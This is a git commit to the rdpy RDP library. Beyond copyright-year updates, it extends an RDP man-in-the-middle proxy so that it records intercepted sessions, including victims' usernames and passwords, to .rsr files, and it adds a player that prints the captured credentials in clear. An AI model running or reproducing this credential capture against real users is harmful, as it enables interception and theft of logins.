update license + rsr reader and writer

This commit is contained in:
speyrefitte
2015-01-09 18:07:06 +01:00
parent 9a4f5f254c
commit 0686b2b677
31 changed files with 292 additions and 152 deletions

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #
@@ -20,7 +20,8 @@
""" """
RDP proxy with Man in the middle capabilities RDP proxy with Man in the middle capabilities
Save bitmap in file and keylogging Save RDP events in output file in rsr file format
RSR file format can be read by rdpy-rsrplayer.py
---------------------------- ----------------------------
Client RDP -> | ProxyServer | ProxyClient | -> Server RDP Client RDP -> | ProxyServer | ProxyClient | -> Server RDP
---------------------------- ----------------------------
@@ -40,24 +41,23 @@ class ProxyServer(rdp.RDPServerObserver):
""" """
@summary: Server side of proxy @summary: Server side of proxy
""" """
def __init__(self, controller, target): def __init__(self, controller, target, rsrRecorder):
""" """
@param controller: {RDPServerController} @param controller: {RDPServerController}
@param target: {tuple(ip, port)} @param target: {tuple(ip, port)}
@param rsrRecorder: {rsr.FileRecorder} use to record session
""" """
rdp.RDPServerObserver.__init__(self, controller) rdp.RDPServerObserver.__init__(self, controller)
self._target = target self._target = target
self._client = None self._client = None
self._close = False self._rsr = rsrRecorder
def onClientReady(self, client): def setClient(self, client):
""" """
@summary: Event throw by client when it's ready @summary: Event throw by client when it's ready
@param client: {ProxyClient} @param client: {ProxyClient}
""" """
self._client = client self._client = client
#need to reevaluate color depth
self._controller.setColorDepth(self._client._controller.getColorDepth())
def onReady(self): def onReady(self):
""" """
@@ -70,25 +70,21 @@ class ProxyServer(rdp.RDPServerObserver):
if self._client is None: if self._client is None:
#try a connection #try a connection
domain, username, password = self._controller.getCredentials() domain, username, password = self._controller.getCredentials()
self._rsr.recInfo(username, password, domain, self._controller.getHostname())
width, height = self._controller.getScreen() width, height = self._controller.getScreen()
self._rsr.recResize(width, height)
reactor.connectTCP(self._target[0], int(self._target[1]), ProxyClientFactory(self, width, height, reactor.connectTCP(self._target[0], int(self._target[1]), ProxyClientFactory(self, width, height,
domain, username, password)) domain, username, password))
else:
#refresh client
width, height = self._controller.getScreen()
self._client._controller.sendRefreshOrder(0, 0, width, height)
def onClose(self): def onClose(self):
""" """
@summary: Call when human client close connection @summary: Call when human client close connection
@see: rdp.RDPServerObserver.onClose @see: rdp.RDPServerObserver.onClose
""" """
self._close = True
if self._client is None: if self._client is None:
return return
#close proxy client
self._client._controller.close() self._client._controller.close()
def onKeyEventScancode(self, code, isPressed): def onKeyEventScancode(self, code, isPressed):
@@ -130,7 +126,7 @@ class ProxyServerFactory(rdp.ServerFactory):
""" """
@summary: Factory on listening events @summary: Factory on listening events
""" """
def __init__(self, target, privateKeyFilePath = None, certificateFilePath = None): def __init__(self, target, ouputDir, privateKeyFilePath = None, certificateFilePath = None):
""" """
@param target: {tuple(ip, prt)} @param target: {tuple(ip, prt)}
@param privateKeyFilePath: {str} file contain server private key (if none -> back to standard RDP security) @param privateKeyFilePath: {str} file contain server private key (if none -> back to standard RDP security)
@@ -138,7 +134,7 @@ class ProxyServerFactory(rdp.ServerFactory):
""" """
rdp.ServerFactory.__init__(self, 16, privateKeyFilePath, certificateFilePath) rdp.ServerFactory.__init__(self, 16, privateKeyFilePath, certificateFilePath)
self._target = target self._target = target
self._main = None self._ouputDir = ouputDir
def buildObserver(self, controller, addr): def buildObserver(self, controller, addr):
""" """
@@ -147,7 +143,7 @@ class ProxyServerFactory(rdp.ServerFactory):
@see: rdp.ServerFactory.buildObserver @see: rdp.ServerFactory.buildObserver
""" """
#first build main session #first build main session
return ProxyServer(controller, self._target) return ProxyServer(controller, self._target, rsr.createRecorder(os.path.join(self._ouputDir, "%s_%s.rsr"%(time.strftime('%Y%m%d%H%M%S'), addr.host))))
class ProxyClient(rdp.RDPClientObserver): class ProxyClient(rdp.RDPClientObserver):
""" """
@@ -160,8 +156,6 @@ class ProxyClient(rdp.RDPClientObserver):
""" """
rdp.RDPClientObserver.__init__(self, controller) rdp.RDPClientObserver.__init__(self, controller)
self._server = server self._server = server
self._connected = False
self._rsr = rsr.createRecorder("/tmp/toto")
def onReady(self): def onReady(self):
""" """
@@ -169,15 +163,9 @@ class ProxyClient(rdp.RDPClientObserver):
Inform ProxyServer that i'm connected Inform ProxyServer that i'm connected
@see: rdp.RDPClientObserver.onReady @see: rdp.RDPClientObserver.onReady
""" """
#prevent multiple on ready event self._server.setClient(self)
#because each deactive-reactive sequence #maybe color depth change
#launch an onReady message self._server._controller.setColorDepth(self._controller.getColorDepth())
if self._connected:
return
else:
self._connected = True
self._server.onClientReady(self)
def onClose(self): def onClose(self):
""" """
@@ -189,28 +177,18 @@ class ProxyClient(rdp.RDPClientObserver):
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
""" """
@summary: Event use to inform bitmap update @summary: Event use to inform bitmap update
@param destLeft: xmin position @param destLeft: {int} xmin position
@param destTop: ymin position @param destTop: {int} ymin position
@param destRight: xmax position because RDP can send bitmap with padding @param destRight: {int} xmax position because RDP can send bitmap with padding
@param destBottom: ymax position because RDP can send bitmap with padding @param destBottom: {int} ymax position because RDP can send bitmap with padding
@param width: width of bitmap @param width: {int} width of bitmap
@param height: height of bitmap @param height: {int} height of bitmap
@param bitsPerPixel: number of bit per pixel @param bitsPerPixel: {int} number of bit per pixel
@param isCompress: use RLE compression @param isCompress: {bool} use RLE compression
@param data: bitmap data @param data: {str} bitmap data
@see: rdp.RDPClientObserver.onUpdate @see: rdp.RDPClientObserver.onUpdate
""" """
e = rsr.UpdateEvent() self._server._rsr.recUpdate(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, rsr.UpdateFormat.BMP if isCompress else rsr.UpdateFormat.RAW, data)
e.destLeft.value = destLeft
e.destTop.value = destTop
e.destRight.value = destRight
e.destBottom.value = destBottom
e.width.value = width
e.height.value = height
e.bpp.value = bitsPerPixel
e.format.value = rsr.UpdateFormat.BMP if isCompress else rsr.UpdateFormat.RAW
e.data.value = data
self._rsr.add(e)
self._server._controller.sendUpdate(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data) self._server._controller.sendUpdate(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data)
class ProxyClientFactory(rdp.ClientFactory): class ProxyClientFactory(rdp.ClientFactory):
@@ -250,13 +228,13 @@ class ProxyClientFactory(rdp.ClientFactory):
controller.setPassword(self._password) controller.setPassword(self._password)
controller.setSecurityLevel(self._security) controller.setSecurityLevel(self._security)
controller.setPerformanceSession() controller.setPerformanceSession()
return ProxyClient(controller, self._server) return ProxyClient(controller, self._server)
def help(): def help():
""" """
@summary: Print help in console @summary: Print help in console
""" """
print "Usage: rdpy-rdpshare.py [-l listen_port default 3389] [-k private_key_file_path (mandatory for SSL)] [-c certificate_file_path (mandatory for SSL)] [-i admin_ip[:admin_port]] target" print "Usage: rdpy-rdpmitm.py -o output_directory [-l listen_port default 3389] [-k private_key_file_path (mandatory for SSL)] [-c certificate_file_path (mandatory for SSL)] target"
def parseIpPort(interface, defaultPort = "3389"): def parseIpPort(interface, defaultPort = "3389"):
if ':' in interface: if ':' in interface:
@@ -268,9 +246,10 @@ if __name__ == '__main__':
listen = "3389" listen = "3389"
privateKeyFilePath = None privateKeyFilePath = None
certificateFilePath = None certificateFilePath = None
ouputDirectory = None
try: try:
opts, args = getopt.getopt(sys.argv[1:], "hl:k:c:") opts, args = getopt.getopt(sys.argv[1:], "hl:k:c:o:")
except getopt.GetoptError: except getopt.GetoptError:
help() help()
for opt, arg in opts: for opt, arg in opts:
@@ -283,6 +262,13 @@ if __name__ == '__main__':
privateKeyFilePath = arg privateKeyFilePath = arg
elif opt == "-c": elif opt == "-c":
certificateFilePath = arg certificateFilePath = arg
elif opt == "-o":
reactor.listenTCP(int(listen), ProxyServerFactory(parseIpPort(args[0]), privateKeyFilePath, certificateFilePath)) ouputDirectory = arg
if ouputDirectory is None or not os.path.dirname(ouputDirectory):
log.error("%s is an invalid output directory"%ouputDirectory)
help()
sys.exit()
reactor.listenTCP(int(listen), ProxyServerFactory(parseIpPort(args[0]), ouputDirectory, privateKeyFilePath, certificateFilePath))
reactor.run() reactor.run()

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #
@@ -26,58 +26,70 @@ import sys, os, getopt, socket
from PyQt4 import QtGui, QtCore from PyQt4 import QtGui, QtCore
from rdpy.core import log, rsr from rdpy.core import log, rsr
from rdpy.ui.qt4 import RDPBitmapToQtImage from rdpy.ui.qt4 import QRemoteDesktop, RDPBitmapToQtImage
log._LOG_LEVEL = log.Level.INFO log._LOG_LEVEL = log.Level.INFO
class QRsrPlayer(QtGui.QWidget): class RsrPlayerWidget(QRemoteDesktop):
def __init__(self): """
self._refresh = [] @summary: special rsr player widget
#buffer image """
self._buffer = QtGui.QImage(width, height, QtGui.QImage.Format_RGB32) def __init__(self, width, height):
self._f = rsr.createReader("/tmp/toto") class RsrAdaptor(object):
self._nextEvent = self._f.next() def sendMouseEvent(self, e, isPressed):
""" Not Handle """
def sendKeyEvent(self, e, isPressed):
""" Not Handle """
def sendWheelEvent(self, e):
""" Not Handle """
def closeEvent(self, e):
""" Not Handle """
QRemoteDesktop.__init__(self, width, height, RsrAdaptor())
def next(self): def drawInfos(self, username):
#if self._nextEvent.type.value = rsr.EventType.UPDATE: drawArea = QtGui.QImage(100, 100, QtGui.QImage.Format_RGB32)
# self.notifyImage(self._nextEvent.event., y, RDPBitmapToQtImage(width, height, bitsPerPixel, isCompress, data), width, height) #fill with background Color
self._nextEvent = self._f.next() drawArea.fill(QtCore.Qt.red)
QtCore.QTimer.singleShot(0,) with QtGui.QPainter(drawArea) as qp:
rect = QtCore.QRect(0, 0, 100, 100)
qp.setPen(QtCore.Qt.black)
qp.setFont(QtGui.QFont('arial', 12, QtGui.QFont.Bold))
qp.drawText(rect, QtCore.Qt.AlignCenter, "username %s"%username)
self.notifyImage(0, 0, drawArea, 100, 100)
def notifyImage(self, x, y, qimage, width, height):
"""
@summary: Function call from QAdaptor
@param x: x position of new image
@param y: y position of new image
@param qimage: new QImage
"""
#save in refresh list (order is important)
self._refresh.append((x, y, qimage, width, height))
#force update
self.update()
def paintEvent(self, e):
"""
@summary: Call when Qt renderer engine estimate that is needed
@param e: QEvent
"""
#fill buffer image
with QtGui.QPainter(self._buffer) as qp:
#draw image
for (x, y, image, width, height) in self._refresh:
qp.drawImage(x, y, image, 0, 0, width, height)
#draw in widget
with QtGui.QPainter(self) as qp:
qp.drawImage(0, 0, self._buffer)
self._refresh = []
def help(): def help():
print "Usage: rdpy-rsrplayer [options] ip[:port]" print "Usage: rdpy-rsrplayer [-h] path"
def loop(widget, rsrFile):
"""
@summary: timer function
@param widget: {QRemoteDesktop}
@param rsrFile: {rsr.FileReader}
"""
e = rsrFile.nextEvent()
if e is None:
widget.close()
return
if e.type.value == rsr.EventType.UPDATE:
image = RDPBitmapToQtImage(e.event.width.value, e.event.height.value, e.event.bpp.value, e.event.format.value == rsr.UpdateFormat.BMP, e.event.data.value);
widget.notifyImage(e.event.destLeft.value, e.event.destTop.value, image, e.event.destRight.value - e.event.destLeft.value + 1, e.event.destBottom.value - e.event.destTop.value + 1)
elif e.type.value == rsr.EventType.RESIZE:
widget.resize(e.event.width.value, e.event.height.value)
elif e.type.value == rsr.EventType.INFO:
widget.drawInfos(e.event.username)
log.info("*" * 50)
log.info("username : %s"%e.event.username.value)
log.info("password : %s"%e.event.password.value)
log.info("domain : %s"%e.event.domain.value)
log.info("hostname : %s"%e.event.hostname.value)
log.info("*" * 50)
QtCore.QTimer.singleShot(e.timestamp.value+ 1000,lambda:loop(widget, rsrFile))
if __name__ == '__main__': if __name__ == '__main__':
#default script argument
try: try:
opts, args = getopt.getopt(sys.argv[1:], "h") opts, args = getopt.getopt(sys.argv[1:], "h")
except getopt.GetoptError: except getopt.GetoptError:
@@ -90,4 +102,8 @@ if __name__ == '__main__':
filepath = args[0] filepath = args[0]
#create application #create application
app = QtGui.QApplication(sys.argv) app = QtGui.QApplication(sys.argv)
app.exec_() widget = RsrPlayerWidget(800, 600)
widget.show()
rsrFile = rsr.createReader(filepath)
loop(widget, rsrFile)
sys.exit(app.exec_())

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -27,9 +27,17 @@ from rdpy.core import log, error
import time import time
class EventType(object): class EventType(object):
UPDATE = 0x00000001 """
@summary: event type
"""
UPDATE = 0x0001
RESIZE = 0x0002
INFO = 0x0003
class UpdateFormat(object): class UpdateFormat(object):
"""
@summary: format of update bitmap
"""
RAW = 0x01 RAW = 0x01
BMP = 0x02 BMP = 0x02
@@ -41,18 +49,18 @@ class Event(CompositeType):
CompositeType.__init__(self) CompositeType.__init__(self)
self.type = UInt16Le(lambda:event.__class__._TYPE_) self.type = UInt16Le(lambda:event.__class__._TYPE_)
self.timestamp = UInt32Le() self.timestamp = UInt32Le()
self.length = UInt32Le(lambda:(sizeof(self) - 12)) self.length = UInt32Le(lambda:(sizeof(self) - 10))
def EventFactory(): def EventFactory():
""" """
@summary: Closure for event factory @summary: Closure for event factory
""" """
for c in [UpdateEvent]: for c in [UpdateEvent, ResizeEvent, InfoEvent]:
if self.type.value == c._TYPE_: if self.type.value == c._TYPE_:
return c(readLen = self.length) return c(readLen = self.length)
log.debug("unknown event type : %s"%hex(self.type.value)) log.debug("unknown event type : %s"%hex(self.type.value))
#read entire packet #read entire packet
return String(readLen = self.length - 4) return String(readLen = self.length)
if event is None: if event is None:
event = FactoryType(EventFactory) event = FactoryType(EventFactory)
@@ -62,6 +70,9 @@ class Event(CompositeType):
self.event = event self.event = event
class UpdateEvent(CompositeType): class UpdateEvent(CompositeType):
"""
@summary: Update event
"""
_TYPE_ = EventType.UPDATE _TYPE_ = EventType.UPDATE
def __init__(self, readLen = None): def __init__(self, readLen = None):
CompositeType.__init__(self, readLen = readLen) CompositeType.__init__(self, readLen = readLen)
@@ -76,31 +87,151 @@ class UpdateEvent(CompositeType):
self.length = UInt32Le(lambda:sizeof(self.data)) self.length = UInt32Le(lambda:sizeof(self.data))
self.data = String(readLen = self.length) self.data = String(readLen = self.length)
class FileRecorder(object): class InfoEvent(CompositeType):
def __init__(self, f): """
self._file = f @summary: Info event
self._createTime = int(time.time() * 1000) """
_TYPE_ = EventType.INFO
def __init__(self, readLen = None):
CompositeType.__init__(self, readLen = readLen)
self.lenUsername = UInt16Le(lambda:sizeof(self.username))
self.username = String(readLen = self.lenUsername)
self.lenPassword = UInt16Le(lambda:sizeof(self.password))
self.password = String(readLen = self.lenPassword)
self.lenDomain = UInt16Le(lambda:sizeof(self.domain))
self.domain = String(readLen = self.lenDomain)
self.lenHostname = UInt16Le(lambda:sizeof(self.hostname))
self.hostname = String(readLen = self.lenHostname)
def add(self, event): class ResizeEvent(CompositeType):
"""
@summary: resize event
"""
_TYPE_ = EventType.RESIZE
def __init__(self, readLen = None):
CompositeType.__init__(self, readLen = readLen)
self.width = UInt16Le()
self.height = UInt16Le()
def timeMs():
"""
@return: {int} time stamp in milliseconds
"""
return int(time.time() * 1000)
class FileRecorder(object):
"""
@summary: RSR File recorder
"""
def __init__(self, f):
"""
@param f: {file} file pointer use to write
"""
self._file = f
#init timer
self._lastEventTimer = timeMs()
def rec(self, event):
"""
@summary: save event in file
@param event: {UpdateEvent}
"""
now = timeMs()
#wrap around event message
e = Event(event) e = Event(event)
e.timestamp.value = int(time.time() * 1000) - self._createTime #timestamp is time since last event
e.timestamp.value = now - self._lastEventTimer
self._lastEventTimer = now
s = Stream() s = Stream()
s.writeType(e) s.writeType(e)
self._file.write(s.getvalue()) self._file.write(s.getvalue())
class FileReader(object): def recUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bpp, upateFormat, data):
def __init__(self, f): """
self._s = Stream(f) @summary: record update event
@param destLeft: {int} xmin position
@param destTop: {int} ymin position
@param destRight: {int} xmax position because RDP can send bitmap with padding
@param destBottom: {int} ymax position because RDP can send bitmap with padding
@param width: {int} width of bitmap
@param height: {int} height of bitmap
@param bpp: {int} number of bit per pixel
@param upateFormat: {UpdateFormat} use RLE compression
@param data: {str} bitmap data
"""
updateEvent = UpdateEvent()
updateEvent.destLeft.value = destLeft
updateEvent.destTop.value = destTop
updateEvent.destRight.value = destRight
updateEvent.destBottom.value = destBottom
updateEvent.width.value = width
updateEvent.height.value = height
updateEvent.bpp.value = bpp
updateEvent.format.value = upateFormat
updateEvent.data.value = data
self.rec(updateEvent)
def next(self): def recResize(self, width, height):
"""
@summary: record resize event of screen (maybe first event)
@param width: {int} width of screen
@param height: {int} height of screen
"""
resizeEvent = ResizeEvent()
resizeEvent.width.value = width
resizeEvent.height.value = height
self.rec(resizeEvent)
def recInfo(self, username, password, domain = "", hostname = ""):
"""
@summary: Record informations event
@param username: {str} username of session
@param password: {str} password of session
@param domain: {str} domain of session
@param hostname: {str} hostname of session
"""
infoEvent = InfoEvent()
infoEvent.username.value = username
infoEvent.password.value = password
infoEvent.domain.value = domain
infoEvent.hostname.value = hostname
self.rec(infoEvent)
class FileReader(object):
"""
@summary: RSR File reader
"""
def __init__(self, f):
"""
@param f: {file} file pointer use to read
"""
self._s = Stream(f.read())
def nextEvent(self):
"""
@summary: read next event and return it
"""
if self._s.dataLen() == 0:
return None
e = Event() e = Event()
self._s.readType(e) self._s.readType(e)
return e return e
def createRecorder(path): def createRecorder(path):
"""
@summary: open file from path and return FileRecorder
@param path: {str} path of output file
@return: {FileRecorder}
"""
return FileRecorder(open(path, "wb")) return FileRecorder(open(path, "wb"))
def createReader(path): def createReader(path):
"""
@summary: open file from path and return FileReader
@param path: {str} path of input file
@return: {FileReader}
"""
return FileReader(open(path, "rb")) return FileReader(open(path, "rb"))

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #
@@ -331,6 +331,8 @@ class LicenseManager(object):
#decrypt server challenge #decrypt server challenge
#it should be TEST word in unicode format #it should be TEST word in unicode format
serverChallenge = rc4.crypt(rc4.RC4Key(self._licenseKey), serverEncryptedChallenge) serverChallenge = rc4.crypt(rc4.RC4Key(self._licenseKey), serverEncryptedChallenge)
if serverChallenge != "T\x00E\x00S\x00T\x00\x00\x00":
raise InvalidExpectedDataException("bad license server challenge")
#generate hwid #generate hwid
s = Stream() s = Stream()

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #
@@ -60,12 +60,6 @@ class QAdaptor(object):
""" """
raise CallPureVirtualFuntion("%s:%s defined by interface %s"%(self.__class__, "sendWheelEvent", "QAdaptor")) raise CallPureVirtualFuntion("%s:%s defined by interface %s"%(self.__class__, "sendWheelEvent", "QAdaptor"))
def getWidget(self):
"""
@return: widget use for render
"""
raise CallPureVirtualFuntion("%s:%s defined by interface %s"%(self.__class__, "getWidget", "QAdaptor"))
def closeEvent(self, e): def closeEvent(self, e):
""" """
@summary: Call when you want to close connection @summary: Call when you want to close connection
@@ -94,7 +88,7 @@ class RFBClientQt(RFBClientObserver, QAdaptor):
@param height: height of widget @param height: height of widget
""" """
RFBClientObserver.__init__(self, controller) RFBClientObserver.__init__(self, controller)
self._widget = QRemoteDesktop(self, 1024, 800) self._widget = QRemoteDesktop(1024, 800, self)
def getWidget(self): def getWidget(self):
""" """
@@ -244,7 +238,7 @@ class RDPClientQt(RDPClientObserver, QAdaptor):
@param height: height of widget @param height: height of widget
""" """
RDPClientObserver.__init__(self, controller) RDPClientObserver.__init__(self, controller)
self._widget = QRemoteDesktop(self, width, height) self._widget = QRemoteDesktop(width, height, self)
#set widget screen to RDP stack #set widget screen to RDP stack
controller.setScreen(width, height) controller.setScreen(width, height)
@@ -333,9 +327,11 @@ class QRemoteDesktop(QtGui.QWidget):
""" """
@summary: Qt display widget @summary: Qt display widget
""" """
def __init__(self, adaptor, width, height): def __init__(self, width, height, adaptor):
""" """
@param adaptor: QAdaptor @param adaptor: {QAdaptor}
@param width: {int} width of widget
@param height: {int} height of widget
""" """
super(QRemoteDesktop, self).__init__() super(QRemoteDesktop, self).__init__()
#adaptor use to send #adaptor use to send
@@ -365,6 +361,15 @@ class QRemoteDesktop(QtGui.QWidget):
#force update #force update
self.update() self.update()
def resize(self, width, height):
"""
@summary: override resize function
@param width: {int} width of widget
@param height: {int} height of widget
"""
self._buffer = QtGui.QImage(width, height, QtGui.QImage.Format_RGB32)
QtGui.QWidget.resize(self, width, height)
def paintEvent(self, e): def paintEvent(self, e):
""" """
@summary: Call when Qt renderer engine estimate that is needed @summary: Call when Qt renderer engine estimate that is needed

View File

@@ -1,5 +1,5 @@
# #
# Copyright (c) 2014 Sylvain Peyrefitte # Copyright (c) 2014-2015 Sylvain Peyrefitte
# #
# This file is part of rdpy. # This file is part of rdpy.
# #

View File

@@ -26,7 +26,7 @@ setup(name='rdpy',
ext_modules=[Extension('rle', ['ext/rle.c'])], ext_modules=[Extension('rle', ['ext/rle.c'])],
scripts = [ scripts = [
'bin/rdpy-rdpclient.py', 'bin/rdpy-rdpclient.py',
'bin/rdpy-rdpshare.py', 'bin/rdpy-rdpy-rsrplayer.py',
'bin/rdpy-rdpmitm.py', 'bin/rdpy-rdpmitm.py',
'bin/rdpy-rdpscreenshot.py', 'bin/rdpy-rdpscreenshot.py',
'bin/rdpy-vncclient.py', 'bin/rdpy-vncclient.py',